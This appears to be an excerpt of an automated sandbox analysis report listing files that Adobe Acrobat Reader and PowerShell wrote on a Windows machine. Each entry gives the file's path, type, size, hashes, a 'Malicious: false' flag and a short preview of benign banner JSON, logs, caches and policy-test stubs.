Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.252398781877829
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfbPtdPeUkwRe9:YvXKXHApYpW7vGDV8Ukee9
MD5:	9FD33296C7B4C9B377AF5EDDD453F80E
SHA1:	F24C5D31C535167DBEF0ACACC58D8847CD6214E6
SHA-256:	64F5CAF0052F4F61A3E7CD0E7E53B13A8738331DFB9B12152B6EF042871A7982
SHA-512:	719C43AAC0734B8F94CE890E46D871D8496B733C45E6FAFA7E76A25870517265AAAFBEABAB63AEBE9BA48D05C19A0DFC326A045277DE2F63A1183C4896FAB33B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.253323497681855
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJf21rPeUkwRe9:YvXKXHApYpW7vG+16Ukee9
MD5:	9A3FEA86BECE1FF285345302A1CC8D5F
SHA1:	592FA095B3EC42661918456EEC1AE0AC88710241
SHA-256:	4661075EC1067DC8B49184B68F7E995C006823C8941DFB23882C103E879DC28D
SHA-512:	ABE8404EBCA44DDA61FDACA730A78B21129EF57EBD1BF74F870BF2D5F27C408DA03647F4A6535A667A280F70EA1E5DD40537A1D956B8A40281E290FEDC4193D7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660662392263187
Encrypted:	false
SSDEEP:	24:Yv6XPiwamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSU:YvR2BgkDMUJUAh8cvMU
MD5:	9490B691E5CA06B200D2E694F7B063D0
SHA1:	87875D19044A2362C0B24E050A9F176C86832FD0
SHA-256:	7338EE3DE7501D7969D9BD426E7BBDCF53B93EAB53A43EEA9FFDB06C98B0D515
SHA-512:	F6B0638DDFCC7D24683DC3947EFFDB8A4E4A4E1E85E81637B98227A6CFA923A32E852C8486D32836B7EC6694448F90059819CAA06F0BBD8E6A3A4CDE1DDE854E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.228423057410851
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJfshHHrPeUkwRe9:YvXKXHApYpW7vGUUUkee9
MD5:	D308B4DC7FA9EB0A17E7884E9E08A54D
SHA1:	BE7D5D8109AAB09DDA356A9E60BB839A7AF743C2
SHA-256:	0C50151A5185E701A39362608A1260F24635957132E9F3D5D83B37B49BE3CB1E
SHA-512:	2F3FB56A8026AC565166AA70D24D384814FF9F4023EACE6910B0D1A5C3D7E725CF7057C689C021F676657B58845CAB1A5C9F9E8A3DB3B09BAC560DB6CB19FFCD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2437988220485705
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDDA67+FIbRI6XVW7+0YwmoAvJTqgFCrPeUkwRe9:YvXKXHApYpW7vGTq16Ukee9
MD5:	49E81D242D2AC537DA2E75F74B3740EC
SHA1:	023803903988DA1507EFCD4FDEC5CF4EB17335F6
SHA-256:	98F9070B5697B9EB84C538BBCB6F666F4DB1514542DC26231C0E2463CC7051FC
SHA-512:	59AB4A4BC9901096E59BC8317DDA872E4EF0523B7EA1A9110E533F3A0AB7926340A290A7986E8DA7E3B53F18D4F58900FCCD55E14B3B3848CFF8DA85CCA110F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4d4c1e13-1b26-4a83-bee8-653422cd994c","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736746168788,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.139124454083119
Encrypted:	false
SSDEEP:	24:YeoSap+ay1gRH+7Vxd3FHSzyLjHcj0SljGayB2cOV2LS/C54iQp8lte5VQR9LGgy:Yj9CxVFQmOpyER1iQalIrC9o
MD5:	64557BBB29F1DD7E0318BFCEFD541E33
SHA1:	565466BD310623F11AF4E6DE12A6DD963E7B5EA2
SHA-256:	F8A714A976E1CD92FA00DFF6B7D0BC0B8006E682BB626E881AF5CB7F30E87A1B
SHA-512:	817167E2CF12DE7329C80467AA2BC6D92E803AEBC56A4F345A9F818509D81FAE07F34A1B52572F1DE88E7C35F616906AAD629157720D081DE1FC43CAD916636B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"bf9511262431116323b0f2ed2dfb0893","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571898000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"48ea6c849b1b6ccde36796bf05be0628","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736571898000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c9dcedc64e153634f129e04a72daed64","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736571898000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a9dfcdb24418e3675a3c8f207aa64b0a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736571898000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"984d6da57f23fad601c22bd7124ec082","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736571898000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"68d72fb8f52dc307f4943d86c8116261","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.985235987715902
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/SpB/W4zJwtNBwtNbRZ6bRZ44/WF:TVl2GL7ms6ggOVpTzutYtp6Py
MD5:	760FD7A7DAC0C00156C16B4C0BDF1FCA
SHA1:	EECB8C07BD118B2A5E5904942C93938858F7C247
SHA-256:	8A36E93A0F82556C858216E5AA11145D037F88632C5B6013822AAC4F282C9449
SHA-512:	67362785AD2E8F250460B4A6E5333DAB955D8FFA4A13729B574A89F4C5C9087D255995F7068170CAEC2E4DC89555A1364F1F017A98044B45C9205E55A9EEDFEC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3389413314926026
Encrypted:	false
SSDEEP:	24:7+tnAD1RZKHs/Ds/SpB/WPzJwtNBwtNbRZ6bRZWf1RZKhqLBx/XYKQvGJF7ursG:7MnGgOVpszutYtp6PMIqll2GL7msG
MD5:	76A14043B6D64CD7214ED66DF56C378A
SHA1:	21837E46E5FD169821E9A0FE34D6FDFC84DAB8CE
SHA-256:	807BF5AC47364707FA85F01CEE8F1B76424E3C90899BCE73A382AF10EB85695C
SHA-512:	A37A4B1C02EDBD75E3A322802C0CAF54296366A17288B5AAC180EB8A4FCDA197E7E35CAA6BEF3BF62FB06EFABCB4949C5DA9372C02FA20E4890CF5D27D47D71C
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgzvj/UF0Opn47Qj6Cj4yNo5/zpBYyu:6a6TZ44ADEzvGn4Mj7j4l5/tBK
MD5:	FD1BDE3ADDEF4C6F14371C25080AB83E
SHA1:	83081E9D595142C56C437FF02A283823C727305C
SHA-256:	E0FB62A7FB254F77C1ABD61148CCCE0FFD212435F4130115FB0B7FB42EBE9B38
SHA-512:	D92446EEE383013EE8C9BE53FEDAB2CF67FDC458BC4FBCF4B5F9ED46A775A4BBC0605C1620AB1800F397D9CCBB20E89E8142A01273D0672C492403A90B2BE7F9
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI51d12.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.501595078528367
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clb:Qw946cPbiOxDlbYnuRKdi
MD5:	4D0616A51AE1C2C5404F56B46FACA3EB
SHA1:	53D51CC7F37EEE968E35494558F00903BC8AA492
SHA-256:	FA500B2A1CF9414B0028F1B6DDF86A3AE741B39A6463D7752483E27485241F80
SHA-512:	250815D99B16937A52DFB9DC9575CCEFB781D126CAEB0EFF87A0EE6A4D0FC2F468AD7835FD276F102C8F987D297F7D1CD8E95B04203B18BA18B8247061A00F94
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.0.4.:.5.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m5dxudua.efa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqibtfbp.o5f.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-04-52-004.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15113
Entropy (8bit):	5.337634301586303
Encrypted:	false
SSDEEP:	384:fp5Wp/Up/Bp/sp/Wp/zp/R4p/LpM0pMOpMbpM1pMGprJprdpqjpqfppIppMppJp7:fOKjCY9j4lltusnb/06M4FOc29IGlB/E
MD5:	893B9B8129AD8E582AC97FC92EC217D4
SHA1:	A7AEBC6378EDE54BA8A762328C2028C6E309B731
SHA-256:	290C2D96D095E6E1D082B79F8A652E58BC2A2B919A95EB745F459C8ACF871A06
SHA-512:	7CE3C403055A3F6B1D453453708313595D50BA339B9C0BBEE2B20E53BF2D32AF7A660DE83706924C2FAC8B03C88D40F6B3721B8E31A41D8BA05845007415813B
Malicious:	false
Preview:	SessionID=a188a7f4-f5ba-4a59-9a2e-8357e7107db4.1736571892045 Timestamp=2025-01-11T00:04:52:045-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a188a7f4-f5ba-4a59-9a2e-8357e7107db4.1736571892045 Timestamp=2025-01-11T00:04:52:047-0500 ThreadID=7388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a188a7f4-f5ba-4a59-9a2e-8357e7107db4.1736571892045 Timestamp=2025-01-11T00:04:52:047-0500 ThreadID=7388 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a188a7f4-f5ba-4a59-9a2e-8357e7107db4.1736571892045 Timestamp=2025-01-11T00:04:52:047-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a188a7f4-f5ba-4a59-9a2e-8357e7107db4.1736571892045 Timestamp=2025-01-11T00:04:52:047-0500 ThreadID=7388 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.393332262749867
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbT:n
MD5:	A33602F38A312B201F69850E2CDA7182
SHA1:	43486F384598DB8D04EDCA129B01CD45FC59D8E0
SHA-256:	4D9DF9EC5BC7DF0D283965A10545727B42D995A19A1563857659000FA5134C04
SHA-512:	934DE9E77EC97C3CA6A6D8B5CCFF42F6F085B1B6B65351A8FA1E846D7BD5C78F11009D1E6EA618152D4A53077818D75A0658745DA71BE1B2101E3D6E1D5DB339
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\87b6f99f-e528-41ba-a551-37a902ff1863.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\b21eb8f4-7ea9-4d52-9908-694cfb9751a2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\bad7d7ec-1b7c-46ad-ac84-d3d1e0b3b575.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
